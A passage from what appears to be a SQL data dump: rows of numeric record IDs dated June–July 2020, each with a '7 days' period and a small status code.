days',0),(25353,903,4840,6054,195,45,'2020-06-29','7 days',0),(25354,12532,4840,6054,195,45,'2020-06-29','7 days',1),(25355,11715,4840,6054,195,45,'2020-06-29','7 days',1),(25356,11714,4840,6054,195,45,'2020-06-29','7 days',1),(25357,10976,4840,6054,195,45,'2020-06-29','7 days',1),(25358,10975,4840,6054,195,45,'2020-06-29','7 days',1),(25359,5467,4840,6054,195,45,'2020-06-29','7 days',1),(25360,12562,4840,6054,195,45,'2020-06-29','7 days',1),(25361,11688,4840,6054,195,45,'2020-06-29','7 days',1),(25362,11687,4840,6054,195,45,'2020-06-29','7 days',1),(25363,11686,4840,6054,195,45,'2020-06-29','7 days',0),(25364,11163,4840,6054,195,45,'2020-06-29','7 days',0),(25365,9206,4840,6054,195,45,'2020-06-29','7 days',1),(25366,11578,4840,6054,195,45,'2020-06-29','7 days',1),(25367,11520,4840,6054,195,45,'2020-06-29','7 days',1),(25368,11519,4840,6054,195,45,'2020-06-29','7 days',1),(25369,11518,4840,6054,195,45,'2020-06-29','7 days',1),(25370,11300,4840,6054,195,45,'2020-06-29','7 days',2),(25371,11299,4840,6054,195,45,'2020-06-29','7 days',2),(25372,11298,4840,6054,195,45,'2020-06-29','7 days',0),(25373,2238,4840,6054,195,45,'2020-06-29','7 days',0),(25383,12897,4885,6029,1067,326,'2020-06-29','7 days',0),(25384,12875,4885,6029,1067,326,'2020-06-29','7 days',1),(25385,9805,4885,6029,1067,326,'2020-06-29','7 days',0),(25386,9803,4885,6029,1067,326,'2020-06-29','7 days',0),(25387,9802,4885,6029,1067,326,'2020-06-29','7 days',0),(25388,9801,4885,6029,1067,326,'2020-06-29','7 days',0),(25389,9800,4885,6029,1067,326,'2020-06-29','7 days',0),(25390,9798,4885,6029,1067,326,'2020-06-29','7 days',0),(25429,12513,4820,6032,1439,86,'2020-06-29','7 days',1),(25430,9007,4820,6032,1439,86,'2020-06-29','7 days',0),(25431,8997,4820,6032,1439,86,'2020-06-29','7 days',1),(25460,13099,4969,6181,1393,86,'2020-07-01','7 days',1),(25461,13085,4969,6181,1393,86,'2020-07-01','7 days',0),(25462,13009,4969,6181,1393,86,'2020-07-01','7 days',2),(25463,13008,4969,6181,1393,86,'2020-07-01','7 days',1),(25464,13007,4969,6181,1393,86,'2020-07-01','7 days',2),(25465,13006,4969,6181,1393,86,'2020-07-01','7 days',0),(25466,13005,4969,6181,1393,86,'2020-07-01','7 days',0),(25467,12786,4969,6181,1393,86,'2020-07-01','7 days',1),(25468,12299,4969,6181,1393,86,'2020-07-01','7 days',0),(25469,12298,4969,6181,1393,86,'2020-07-01','7 days',2),(25470,12297,4969,6181,1393,86,'2020-07-01','7 days',0),(25471,13618,4483,5690,222,85,'2020-07-01','7 days',0),(25472,13617,4483,5690,222,85,'2020-07-01','7 days',0),(25473,13616,4483,5690,222,85,'2020-07-01','7 days',0),(25474,13615,4483,5690,222,85,'2020-07-01','7 days',0),(25475,13614,4483,5690,222,85,'2020-07-01','7 days',2),(25476,13613,4483,5690,222,85,'2020-07-01','7 days',0),(25477,13612,4483,5690,222,85,'2020-07-01','7 days',0),(25478,13611,4483,5690,222,85,'2020-07-01','7 days',0),(25479,13610,4483,5690,222,85,'2020-07-01','7 days',0),(25480,13609,4483,5690,222,85,'2020-07-01','7 days',0),(25481,13608,4483,5690,222,85,'2020-07-01','7 days',2),(25482,13607,4483,5690,222,85,'2020-07-01','7 days',0),(25483,13606,4483,5690,222,85,'2020-07-01','7 days',2),(25484,13605,4483,5690,222,85,'2020-07-01','7 days',0),(25485,13604,4483,5690,222,85,'2020-07-01','7 days',0),(25486,13603,4483,5690,222,85,'2020-07-01','7 days',0),(25487,13602,4483,5690,222,85,'2020-07-01','7 days',0),(25488,13601,4483,5690,222,85,'2020-07-01','7 days',1),(25489,13600,4483,5690,222,85,'2020-07-01','7 days',1),(25490,13599,4483,5690,222,85,'2020-07-01','7 days',1),(25491,13598,4483,5690,222,85,'2020-07-01','7 days',2),(25492,13597,4483,5690,222,85,'2020-07-01','7 days',0),(25493,13596,4483,5690,222,85,'2020-07-01','7 days',2),(25494,13595,4483,5690,222,85,'2020-07-01','7 days',2),(25495,13594,4483,5690,222,85,'2020-07-01','7 days',0),(25496,13593,4483,5690,222,85,'2020-07-01','7 days',0),(25497,13592,4483,5690,222,85,'2020-07-01','7 days',0),(25498,13591,4483,5690,222,85,'2020-07-01','7 days',0),(25666,10058,4958,6173,194,45,'2020-07-03','7 days',0),(25667,10287,4665,5880,161,73,'2020-07-03','7 days',1),(25668,669,4665,5880,161,73,'2020-07-03','7 days',0),(25669,650,4665,5880,161,73,'2020-07-03','7 days',2),(25670,649,4665,5880,161,73,'2020-07-03','7 days',0),(25671,646,4665,5880,161,73,'2020-07-03','7 days',0),(25672,645,4665,5880,161,73,'2020-07-03','7 days',1),(25680,13180,4779,5993,1410,975,'2020-07-03','7 days',1),(25846,13669,4969,6181,1393,86,'2020-07-07','7 days',1),(25847,11582,4969,6181,1393,86,'2020-07-07','7 days',0),(25848,11581,4969,6181,1393,86,'2020-07-07','7 days',0),(25849,11580,4969,6181,1393,86,'2020-07-07','7 days',0),(25850,13671,4608,5819,1394,86,'2020-07-07','7 days',0),(25851,13670,4608,5819,1394,86,'2020-07-07','7 days',0),(25852,12366,4608,5819,1394,86,'2020-07-07','7 days',0),(25853,12365,4608,5819,1394,86,'2020-07-07','7 days',0),(25854,12364,4608,5819,1394,86,'2020-07-07','7 days',0),(25855,12363,4608,5819,1394,86,'2020-07-07','7 days',0),(25856,11581,4608,5819,1394,86,'2020-07-07','7 days',0),(25857,11580,4608,5819,1394,86,'2020-07-07','7 days',0),(25858,9090,4064,5268,203,86,'2020-07-07','7 days',0),(25859,9007,4064,5268,203,86,'2020-07-07','7 days',0),(25860,9006,4064,5268,203,86,'2020-07-07','7 days',0),(25861,9005,4064,5268,203,86,'2020-07-07','7 days',0),(25862,9002,4064,5268,203,86,'2020-07-07','7 days',1),(25863,8997,4064,5268,203,86,'2020-07-07','7 days',1),(25864,13672,4575,5784,1394,86,'2020-07-07','7 days',0),(25865,12367,4575,5784,1394,86,'2020-07-07','7 days',0),(25866,12366,4575,5784,1394,86,'2020-07-07','7 days',0),(25867,12364,4575,5784,1394,86,'2020-07-07','7 days',0),(25868,12353,4575,5784,1394,86,'2020-07-07','7 days',2),(25869,12351,4575,5784,1394,86,'2020-07-07','7 days',0),(25870,11848,4575,5784,1394,86,'2020-07-07','7 days',0),(25872,664,4739,5955,162,73,'2020-07-07','7 days',0),(25873,663,4739,5955,162,73,'2020-07-07','7 days',1),(25874,658,4739,5955,162,73,'2020-07-07','7 days',0),(25875,650,4915,6131,162,73,'2020-07-07','7 days',1),(25876,649,4915,6131,162,73,'2020-07-07','7 days',0),(25877,646,4915,6131,162,73,'2020-07-07','7 days',0),(25878,645,4915,6131,162,73,'2020-07-07','7 days',1),(25913,12020,5100,4616,1235,277,'2020-07-08','7 days',0),(25914,12019,5100,4616,1235,277,'2020-07-08','7 days',0),(25915,11439,5100,4616,1235,277,'2020-07-08','7 days',0),(25919,12273,4724,5940,1011,91,'2020-07-08','7 days',1),(25920,12264,4724,5940,1011,91,'2020-07-08','7 days',1),(25921,12263,4724,5940,1011,91,'2020-07-08','7 days',1),(25922,9157,4776,5990,1012,91,'2020-07-08','7 days',1),(25923,7019,4776,5990,1012,91,'2020-07-08','7 days',0),(25924,12273,4920,6136,1012,91,'2020-07-08','7 days',1),(25925,12264,4920,6136,1012,91,'2020-07-08','7 days',1),(25926,12263,4920,6136,1012,91,'2020-07-08','7 days',1),(25941,13523,5003,6209,194,45,'2020-07-08','7 days',0),(25942,13522,5003,6209,194,45,'2020-07-08','7 days',0),(25943,12900,5003,6209,194,45,'2020-07-08','7 days',0),(25944,10529,4939,6154,194,45,'2020-07-08','7 days',1),(25945,999,4939,6154,194,45,'2020-07-08','7 days',0),(25946,11845,4870,6085,194,45,'2020-07-08','7 days',1),(25947,11578,4870,6085,194,45,'2020-07-08','7 days',1),(25948,11577,4870,6085,194,45,'2020-07-08','7 days',1),(25949,11520,4870,6085,194,45,'2020-07-08','7 days',1),(25950,9651,5096,6271,194,45,'2020-07-08','7 days',0),(25951,13523,5092,6266,194,45,'2020-07-08','7 days',0),(25952,13522,5092,6266,194,45,'2020-07-08','7 days',0),(25953,12900,5092,6266,194,45,'2020-07-08','7 days',0),(25954,12867,5092,6266,194,45,'2020-07-08','7 days',1),(25955,12531,5089,6264,194,45,'2020-07-08','7 days',1),(25956,11715,5089,6264,194,45,'2020-07-08','7 days',1),(25957,11714,5089,6264,194,45,'2020-07-08','7 days',1),(25958,1359,5092,6266,194,45,'2020-07-08','7 days',1),(25959,1973,5096,6271,194,45,'2020-07-08','7 days',0),(25960,1973,5003,6209,194,45,'2020-07-08','7 days',1),(25961,1973,4939,6154,194,45,'2020-07-08','7 days',2),(25962,1973,5089,6264,194,45,'2020-07-08','7 days',0),(25963,1974,5104,6280,194,45,'2020-07-08','7 days',0),(25964,1973,5104,6280,194,45,'2020-07-08','7 days',1),(26003,9612,4608,5819,1394,86,'2020-07-09','7 days',0),(26004,9611,4608,5819,1394,86,'2020-07-09','7 days',0),(26005,9007,4608,5819,1394,86,'2020-07-09','7 days',0),(26006,9004,4608,5819,1394,86,'2020-07-09','7 days',0),(26013,9159,4920,6136,1012,91,'2020-07-09','7 days',1),(26014,9155,4920,6136,1012,91,'2020-07-09','7 days',1),(26015,7213,4920,6136,1012,91,'2020-07-09','7 days',1),(26016,9154,4776,5990,1012,91,'2020-07-09','7 days',1),(26017,9135,4776,5990,1012,91,'2020-07-09','7 days',1),(26018,9134,4776,5990,1012,91,'2020-07-09','7 days',1),(26019,9133,4776,5990,1012,91,'2020-07-09','7 days',1),(26020,9159,4724,5940,1011,91,'2020-07-09','7 days',1),(26021,9155,4724,5940,1011,91,'2020-07-09','7 days',1),(26022,7213,4724,5940,1011,91,'2020-07-09','7 days',1),(26023,7212,4724,5940,1011,91,'2020-07-09','7 days',1),(26024,7022,4502,5704,1011,91,'2020-07-09','7 days',1),(26025,9157,4502,5704,1011,91,'2020-07-09','7 days',1),(26026,7019,4502,5704,1011,91,'2020-07-09','7 days',0),(26027,12299,5112,6289,1393,86,'2020-07-09','7 days',2),(26028,12298,5112,6289,1393,86,'2020-07-09','7 days',0),(26029,12297,5112,6289,1393,86,'2020-07-09','7 days',0),(26030,12296,5112,6289,1393,86,'2020-07-09','7 days',0),(26031,11970,5112,6289,1393,86,'2020-07-09','7 days',0),(26032,11969,5112,6289,1393,86,'2020-07-09','7 days',2),(26033,11967,5112,6289,1393,86,'2020-07-09','7 days',0),(26034,11965,5112,6289,1393,86,'2020-07-09','7 days',1),(26035,11964,5112,6289,1393,86,'2020-07-09','7 days',0),(26036,11962,5112,6289,1393,86,'2020-07-09','7 days',0),(26037,11961,5112,6289,1393,86,'2020-07-09','7 days',0),(26038,11959,5112,6289,1393,86,'2020-07-09','7 days',2),(26039,11957,5112,6289,1393,86,'2020-07-09','7 days',0),(26040,11954,5112,6289,1393,86,'2020-07-09','7 days',1),(26041,11951,5112,6289,1393,86,'2020-07-09','7 days',0),(26042,11949,5112,6289,1393,86,'2020-07-09','7 days',2),(26055,12897,4637,5853,1067,326,'2020-07-09','7 days',1),(26056,12875,4637,5853,1067,326,'2020-07-09','7 days',1),(26057,9933,4513,5716,358,251,'2020-07-09','7 days',1),(26058,9932,4513,5716,358,251,'2020-07-09','7 days',1),(26059,9034,4513,5716,358,251,'2020-07-09','7 days',0),(26060,9650,5123,6299,194,45,'2020-07-09','7 days',0),(26061,13099,5112,6289,1393,86,'2020-07-09','7 days',1),(26062,13085,5112,6289,1393,86,'2020-07-09','7 days',0),(26063,13009,5112,6289,1393,86,'2020-07-09','7 days',0),(26064,13008,5112,6289,1393,86,'2020-07-09','7 days',1),(26065,13005,5112,6289,1393,86,'2020-07-09','7 days',0),(26066,13004,5112,6289,1393,86,'2020-07-09','7 days',0),(26067,12788,5112,6289,1393,86,'2020-07-09','7 days',0),(26068,12787,5112,6289,1393,86,'2020-07-09','7 days',0),(26069,12301,5112,6289,1393,86,'2020-07-09','7 days',0),(26070,12300,5112,6289,1393,86,'2020-07-09','7 days',0),(26071,634,5126,6306,160,73,'2020-07-09','7 days',0),(26072,670,5126,6306,160,73,'2020-07-09','7 days',0),(26073,660,5126,6306,160,73,'2020-07-09','7 days',0),(26092,12783,5112,6289,1393,86,'2020-07-10','7 days',0),(26093,12360,5112,6289,1393,86,'2020-07-10','7 days',0),(26094,12359,5112,6289,1393,86,'2020-07-10','7 days',0),(26095,12358,5112,6289,1393,86,'2020-07-10','7 days',0),(26096,12357,5112,6289,1393,86,'2020-07-10','7 days',0),(26097,12303,5112,6289,1393,86,'2020-07-10','7 days',0),(26098,12302,5112,6289,1393,86,'2020-07-10','7 days',0),(26099,8795,5137,6317,194,45,'2020-07-10','7 days',1),(26137,11520,5169,5777,194,45,'2020-07-13','7 days',1),(26138,654,5103,6279,161,73,'2020-07-13','7 days',0),(26139,12979,4445,5656,162,73,'2020-07-13','7 days',1),(26140,11589,4445,5656,162,73,'2020-07-13','7 days',1),(26141,8781,4445,5656,162,73,'2020-07-13','7 days',0),(26142,672,4445,5656,162,73,'2020-07-13','7 days',0),(26163,13105,5112,6289,1393,86,'2020-07-13','7 days',0),(26164,13104,5112,6289,1393,86,'2020-07-13','7 days',2),(26165,13103,5112,6289,1393,86,'2020-07-13','7 days',0),(26166,13003,5112,6289,1393,86,'2020-07-13','7 days',0),(26167,13002,5112,6289,1393,86,'2020-07-13','7 days',0),(26168,13001,5112,6289,1393,86,'2020-07-13','7 days',0),(26169,13000,5112,6289,1393,86,'2020-07-13','7 days',0),(26170,12999,5112,6289,1393,86,'2020-07-13','7 days',0),(26171,12998,5112,6289,1393,86,'2020-07-13','7 days',0),(26172,12764,5112,6289,1393,86,'2020-07-13','7 days',0),(26173,12763,5112,6289,1393,86,'2020-07-13','7 days',1),(26174,9613,5112,6289,1393,86,'2020-07-13','7 days',0),(26180,1974,5171,6356,194,45,'2020-07-13','7 days',0),(26181,1973,5171,6356,194,45,'2020-07-13','7 days',1),(26182,1974,5173,6358,194,45,'2020-07-13','7 days',0),(26183,1973,5173,6358,194,45,'2020-07-13','7 days',0),(26184,1974,5170,6355,194,45,'2020-07-13','7 days',0),(26185,1973,5170,6355,194,45,'2020-07-13','7 days',2),(26186,1000,5170,6355,194,45,'2020-07-13','7 days',1),(26187,1000,5173,6358,194,45,'2020-07-13','7 days',1),(26188,1000,5171,6356,194,45,'2020-07-13','7 days',1),(26189,11356,4709,5925,1370,667,'2020-07-13','7 days',0),(26190,11355,4709,5925,1370,667,'2020-07-13','7 days',1),(26191,11354,4709,5925,1370,667,'2020-07-13','7 days',1),(26192,11353,4709,5925,1370,667,'2020-07-13','7 days',1),(26193,11352,4709,5925,1370,667,'2020-07-13','7 days',0),(26194,11351,4709,5925,1370,667,'2020-07-13','7 days',1),(26206,7308,5156,6339,1452,91,'2020-07-14','7 days',0),(26207,7307,5156,6339,1452,91,'2020-07-14','7 days',2),(26208,7306,5156,6339,1452,91,'2020-07-14','7 days',2),(26209,7305,5156,6339,1452,91,'2020-07-14','7 days',0),(26236,13091,5112,6289,1393,86,'2020-07-14','7 days',0),(26237,13089,5112,6289,1393,86,'2020-07-14','7 days',0),(26238,12513,5112,6289,1393,86,'2020-07-14','7 days',2),(26239,12353,5112,6289,1393,86,'2020-07-14','7 days',2),(26240,8999,5112,6289,1393,86,'2020-07-14','7 days',0),(26305,12897,5111,6288,1067,326,'2020-07-14','7 days',0),(26306,12875,5111,6288,1067,326,'2020-07-14','7 days',1),(26307,9805,5111,6288,1067,326,'2020-07-14','7 days',0),(26308,9803,5111,6288,1067,326,'2020-07-14','7 days',0),(26309,9802,5111,6288,1067,326,'2020-07-14','7 days',0),(26310,9801,5111,6288,1067,326,'2020-07-14','7 days',0),(26311,9800,5111,6288,1067,326,'2020-07-14','7 days',0),(26312,9798,5111,6288,1067,326,'2020-07-14','7 days',0),(26397,4512,5071,5888,633,639,'2020-07-15','7 days',1),(26398,4494,5071,5888,633,639,'2020-07-15','7 days',1),(26399,4487,5071,5888,633,639,'2020-07-15','7 days',1),(26400,4483,5071,5888,633,639,'2020-07-15','7 days',2),(26401,4477,5071,5888,633,639,'2020-07-15','7 days',2),(26402,4473,5071,5888,633,639,'2020-07-15','7 days',2),(26413,9650,5199,496,194,45,'2020-07-15','7 days',0),(26414,9650,5202,6389,194,45,'2020-07-15','7 days',0),(26425,9111,5041,4022,359,251,'2020-07-15','7 days',1),(26426,9110,5041,4022,359,251,'2020-07-15','7 days',2),(26427,9109,5041,4022,359,251,'2020-07-15','7 days',1),(26428,9108,5041,4022,359,251,'2020-07-15','7 days',1),(26429,9107,5041,4022,359,251,'2020-07-15','7 days',1),(26438,10779,4530,1774,633,639,'2020-07-15','7 days',1),(26439,13720,5112,6289,1393,86,'2020-07-15','7 days',0),(26440,13007,5112,6289,1393,86,'2020-07-15','7 days',2),(26441,13006,5112,6289,1393,86,'2020-07-15','7 days',0),(26442,12786,5112,6289,1393,86,'2020-07-15','7 days',1),(26443,12785,5112,6289,1393,86,'2020-07-15','7 days',0),(26444,12784,5112,6289,1393,86,'2020-07-15','7 days',0),(26445,9004,5112,6289,1393,86,'2020-07-16','7 days',0),(26446,8997,5112,6289,1393,86,'2020-07-16','7 days',1),(26492,7211,4724,5940,1011,91,'2020-07-16','7 days',0),(26493,7210,4724,5940,1011,91,'2020-07-16','7 days',0),(26494,7209,4724,5940,1011,91,'2020-07-16','7 days',2),(26495,7208,4724,5940,1011,91,'2020-07-16','7 days',0),(26496,7212,4920,6136,1012,91,'2020-07-16','7 days',1),(26497,9154,4920,6136,1012,91,'2020-07-16','7 days',1),(26498,9135,4920,6136,1012,91,'2020-07-16','7 days',1),(26499,9134,4920,6136,1012,91,'2020-07-16','7 days',1),(26500,9133,4920,6136,1012,91,'2020-07-16','7 days',1),(26501,9133,5156,6339,1452,91,'2020-07-16','7 days',1),(26502,7287,5156,6339,1452,91,'2020-07-16','7 days',1),(26503,7286,5156,6339,1452,91,'2020-07-16','7 days',1),(26602,9936,5109,6286,358,251,'2020-07-17','7 days',0),(26603,9935,5109,6286,358,251,'2020-07-17','7 days',2),(26604,9934,5109,6286,358,251,'2020-07-17','7 days',0),(26605,9933,5109,6286,358,251,'2020-07-17','7 days',1),(26606,9932,5109,6286,358,251,'2020-07-17','7 days',1),(26607,9034,5109,6286,358,251,'2020-07-17','7 days',0),(26608,9033,5109,6286,358,251,'2020-07-17','7 days',0),(26609,9111,5174,6359,358,251,'2020-07-17','7 days',1),(26610,9110,5174,6359,358,251,'2020-07-17','7 days',0),(26611,9109,5174,6359,358,251,'2020-07-17','7 days',1),(26612,9108,5174,6359,358,251,'2020-07-17','7 days',1),(26613,9107,5174,6359,358,251,'2020-07-17','7 days',0),(26614,11689,5169,5777,194,45,'2020-07-17','7 days',1),(26618,11689,5215,6401,194,45,'2020-07-17','7 days',1),(26619,12274,4724,5940,1011,91,'2020-07-17','7 days',1),(26620,9537,5156,6339,1452,91,'2020-07-17','7 days',0),(26621,9157,4920,6136,1012,91,'2020-07-17','7 days',0),(26622,7019,4920,6136,1012,91,'2020-07-17','7 days',1),(26676,11689,5170,6355,194,45,'2020-07-18','7 days',1),(26677,11689,5171,6356,194,45,'2020-07-18','7 days',1),(26678,11689,5173,6358,194,45,'2020-07-18','7 days',1),(26723,9159,5222,6409,1012,91,'2020-07-20','7 days',1),(26724,9155,5222,6409,1012,91,'2020-07-20','7 days',1),(26725,7213,5222,6409,1012,91,'2020-07-20','7 days',1),(26726,7212,5222,6409,1012,91,'2020-07-20','7 days',1),(26727,7022,5156,6339,1452,91,'2020-07-20','7 days',1),(26728,9537,4920,6136,1012,91,'2020-07-20','7 days',0),(26729,7021,4724,5940,1011,91,'2020-07-20','7 days',1),(26730,11659,5233,4635,1235,277,'2020-07-20','7 days',1),(26731,9910,5233,4635,1235,277,'2020-07-20','7 days',0),(26732,9902,5233,4635,1235,277,'2020-07-20','7 days',1),(26733,9899,5233,4635,1235,277,'2020-07-20','7 days',0),(26734,8590,5233,4635,1235,277,'2020-07-20','7 days',1),(26745,9009,5187,6374,160,73,'2020-07-20','7 days',0),(26746,9008,5187,6374,160,73,'2020-07-20','7 days',0),(26747,665,5187,6374,160,73,'2020-07-20','7 days',0),(26748,662,5187,6374,160,73,'2020-07-20','7 days',0),(26749,670,5197,6385,161,73,'2020-07-20','7 days',2),(26750,660,5197,6385,161,73,'2020-07-20','7 days',0),(26751,669,5232,6418,162,73,'2020-07-20','7 days',0),(26752,13225,4187,3790,160,73,'2020-07-21','7 days',1),(26753,12979,4187,3790,160,73,'2020-07-21','7 days',1),(26934,13088,5294,6485,1408,86,'2020-07-22','7 days',0),(26935,12818,5294,6485,1408,86,'2020-07-22','7 days',0),(26936,12259,5294,6485,1408,86,'2020-07-22','7 days',1),(26937,12258,5294,6485,1408,86,'2020-07-22','7 days',0),(26938,12257,5294,6485,1408,86,'2020-07-22','7 days',0),(26939,12256,5293,6484,1439,86,'2020-07-22','7 days',0),(26940,12255,5293,6484,1439,86,'2020-07-22','7 days',0),(26941,12241,5293,6484,1439,86,'2020-07-22','7 days',2),(26942,12240,5293,6484,1439,86,'2020-07-22','7 days',0),(26943,12239,5293,6484,1439,86,'2020-07-22','7 days',0),(26944,13881,5294,6485,1408,86,'2020-07-22','7 days',0),(26945,13880,5294,6485,1408,86,'2020-07-22','7 days',0),(26946,13879,5294,6485,1408,86,'2020-07-22','7 days',0),(26947,13878,5293,6484,1439,86,'2020-07-22','7 days',0),(26948,13877,5293,6484,1439,86,'2020-07-22','7 days',0),(26973,11689,5291,6482,194,45,'2020-07-23','7 days',1),(26976,10682,5299,6489,204,86,'2020-07-23','7 days',0),(26977,10681,5299,6489,204,86,'2020-07-23','7 days',1),(26978,10680,5299,6489,204,86,'2020-07-23','7 days',0),(26979,10679,5299,6489,204,86,'2020-07-23','7 days',0),(26980,10678,5299,6489,204,86,'2020-07-23','7 days',2),(26981,10677,5299,6489,204,86,'2020-07-23','7 days',0),(26982,10676,5299,6489,204,86,'2020-07-23','7 days',0),(26985,13720,5318,6329,203,86,'2020-07-23','7 days',0),(26986,13099,5318,6329,203,86,'2020-07-23','7 days',1),(26987,13085,5318,6329,203,86,'2020-07-23','7 days',2),(26988,11964,5318,6329,203,86,'2020-07-23','7 days',0),(26989,11962,5318,6329,203,86,'2020-07-23','7 days',0),(26990,11961,5318,6329,203,86,'2020-07-23','7 days',0),(26991,11959,5318,6329,203,86,'2020-07-23','7 days',2),(26992,11957,5318,6329,203,86,'2020-07-23','7 days',2),(26993,11954,5318,6329,203,86,'2020-07-23','7 days',1),(26994,11951,5318,6329,203,86,'2020-07-23','7 days',0),(26995,11949,5318,6329,203,86,'2020-07-23','7 days',2),(26996,11689,4939,6154,194,45,'2020-07-23','7 days',1),(26997,11689,5314,6499,194,45,'2020-07-23','7 days',1),(26999,10779,4580,5788,634,639,'2020-07-24','7 days',1),(27000,8796,4530,1774,633,639,'2020-07-24','7 days',1),(27018,11689,3339,4381,195,45,'2020-07-24','7 days',1),(27023,11689,5199,496,194,45,'2020-07-24','7 days',1),(27037,12770,5293,6484,1439,86,'2020-07-24','7 days',0),(27038,12530,5293,6484,1439,86,'2020-07-24','7 days',1),(27039,12529,5293,6484,1439,86,'2020-07-24','7 days',0),(27040,10944,5293,6484,1439,86,'2020-07-24','7 days',0),(27041,10943,5293,6484,1439,86,'2020-07-24','7 days',0),(27042,6348,5293,6484,1439,86,'2020-07-24','7 days',0),(27043,1105,5294,6485,1408,86,'2020-07-24','7 days',0),(27044,1104,5294,6485,1408,86,'2020-07-24','7 days',0),(27045,989,5294,6485,1408,86,'2020-07-24','7 days',0),(27046,988,5294,6485,1408,86,'2020-07-24','7 days',0),(27047,987,5294,6485,1408,86,'2020-07-24','7 days',0),(27048,986,5294,6485,1408,86,'2020-07-24','7 days',0),(27049,985,5294,6485,1408,86,'2020-07-24','7 days',0),(27050,984,5294,6485,1408,86,'2020-07-24','7 days',0),(27051,940,5294,6485,1408,86,'2020-07-24','7 days',0),(27052,939,5294,6485,1408,86,'2020-07-24','7 days',0),(27053,938,5294,6485,1408,86,'2020-07-24','7 days',0),(27054,13005,5318,6329,203,86,'2020-07-24','7 days',0),(27055,13004,5318,6329,203,86,'2020-07-24','7 days',0),(27056,12299,5318,6329,203,86,'2020-07-24','7 days',2),(27057,12297,5318,6329,203,86,'2020-07-24','7 days',0),(27058,12296,5318,6329,203,86,'2020-07-24','7 days',0),(27059,11970,5318,6329,203,86,'2020-07-24','7 days',0),(27060,13886,5299,6489,204,86,'2020-07-24','7 days',1),(27061,13885,5299,6489,204,86,'2020-07-24','7 days',0),(27062,13884,5299,6489,204,86,'2020-07-24','7 days',1),(27063,13883,5299,6489,204,86,'2020-07-24','7 days',1),(27080,11689,5137,6317,194,45,'2020-07-24','7 days',1),(27091,11876,4005,5206,160,73,'2020-07-25','7 days',1),(27092,11589,4005,5206,160,73,'2020-07-25','7 days',1),(27093,11589,4134,5341,162,73,'2020-07-25','7 days',1),(27094,11589,4322,5541,160,73,'2020-07-25','7 days',1),(27125,12979,4665,5880,161,73,'2020-07-25','7 days',1),(27126,11876,4665,5880,161,73,'2020-07-25','7 days',2),(27127,8781,4665,5880,161,73,'2020-07-25','7 days',0),(27128,672,4665,5880,161,73,'2020-07-25','7 days',0),(27129,661,4665,5880,161,73,'2020-07-25','7 days',2),(27130,659,4665,5880,161,73,'2020-07-25','7 days',1),(27131,647,4665,5880,161,73,'2020-07-25','7 days',0),(27132,642,4665,5880,161,73,'2020-07-25','7 days',0),(27133,640,4665,5880,161,73,'2020-07-25','7 days',2),(27134,13225,4005,5206,160,73,'2020-07-25','7 days',1),(27135,12979,4005,5206,160,73,'2020-07-25','7 days',1),(27136,13225,4134,5341,162,73,'2020-07-25','7 days',1),(27137,12979,4134,5341,162,73,'2020-07-25','7 days',1),(27138,11876,4134,5341,162,73,'2020-07-25','7 days',0),(27139,8781,4134,5341,162,73,'2020-07-25','7 days',0),(27140,13225,4322,5541,160,73,'2020-07-25','7 days',1),(27141,12979,4322,5541,160,73,'2020-07-25','7 days',1),(27142,11876,4322,5541,160,73,'2020-07-25','7 days',0),(27149,11446,3755,4931,221,85,'2020-07-26','7 days',1),(27150,11445,3755,4931,221,85,'2020-07-26','7 days',1),(27151,11444,3755,4931,221,85,'2020-07-26','7 days',1),(27152,11443,3755,4931,221,85,'2020-07-26','7 days',2),(27153,11442,3755,4931,221,85,'2020-07-26','7 days',0),(27154,11441,3755,4931,221,85,'2020-07-26','7 days',0),(27155,11440,3755,4931,221,85,'2020-07-26','7 days',0),(27156,11438,3755,4931,221,85,'2020-07-26','7 days',2),(27157,11437,3755,4931,221,85,'2020-07-26','7 days',0),(27158,11436,3755,4931,221,85,'2020-07-26','7 days',0),(27159,11435,3755,4931,221,85,'2020-07-26','7 days',1),(27160,11434,3755,4931,221,85,'2020-07-26','7 days',0),(27161,11433,3755,4931,221,85,'2020-07-26','7 days',0),(27162,11432,3755,4931,221,85,'2020-07-26','7 days',0),(27163,11431,3755,4931,221,85,'2020-07-26','7 days',0),(27164,11269,3755,4931,221,85,'2020-07-26','7 days',0),(27165,11268,3755,4931,221,85,'2020-07-26','7 days',0),(27166,11267,3755,4931,221,85,'2020-07-26','7 days',0),(27167,11266,3755,4931,221,85,'2020-07-26','7 days',0),(27168,11265,3755,4931,221,85,'2020-07-26','7 days',0),(27169,11264,3755,4931,221,85,'2020-07-26','7 days',1),(27170,11263,3755,4931,221,85,'2020-07-26','7 days',0),(27171,11262,3755,4931,221,85,'2020-07-26','7 days',0),(27172,11261,3755,4931,221,85,'2020-07-26','7 days',0),(27173,11260,3755,4931,221,85,'2020-07-26','7 days',2),(27179,11689,5361,5354,194,45,'2020-07-27','7 days',1),(27180,11688,5361,5354,194,45,'2020-07-27','7 days',1),(27201,9797,5332,6515,1067,326,'2020-07-27','7 days',0),(27202,9796,5332,6515,1067,326,'2020-07-27','7 days',0),(27203,7419,5332,6515,1067,326,'2020-07-27','7 days',0),(27204,7418,5332,6515,1067,326,'2020-07-27','7 days',0),(27205,7415,5332,6515,1067,326,'2020-07-27','7 days',0),(27206,12897,5332,6515,1067,326,'2020-07-27','7 days',2),(27207,12875,5332,6515,1067,326,'2020-07-27','7 days',1),(27208,650,5240,6430,162,73,'2020-07-27','7 days',0),(27209,649,5240,6430,162,73,'2020-07-27','7 days',0),(27210,646,5240,6430,162,73,'2020-07-27','7 days',0),(27211,645,5240,6430,162,73,'2020-07-27','7 days',1),(27212,669,5245,6436,162,73,'2020-07-27','7 days',1),(27213,9011,5245,6436,162,73,'2020-07-27','7 days',0),(27214,648,5245,6436,162,73,'2020-07-27','7 days',1),(27252,12322,3755,4931,221,85,'2020-07-27','7 days',0),(27253,9154,5156,6339,1452,91,'2020-07-27','7 days',1),(27254,9135,5156,6339,1452,91,'2020-07-27','7 days',1),(27255,9134,5156,6339,1452,91,'2020-07-27','7 days',1),(27256,7021,4920,6136,1012,91,'2020-07-27','7 days',1),(27257,7022,5222,6409,1012,91,'2020-07-27','7 days',1),(27284,13913,5314,6499,194,45,'2020-07-28','7 days',1),(27285,13913,5291,6482,194,45,'2020-07-28','7 days',1),(27286,13913,5215,6401,194,45,'2020-07-28','7 days',1),(27289,13009,5318,6329,203,86,'2020-07-28','7 days',2),(27290,13008,5318,6329,203,86,'2020-07-28','7 days',1),(27291,13007,5318,6329,203,86,'2020-07-28','7 days',2),(27292,13006,5318,6329,203,86,'2020-07-28','7 days',0),(27293,13913,5362,6548,194,45,'2020-07-28','7 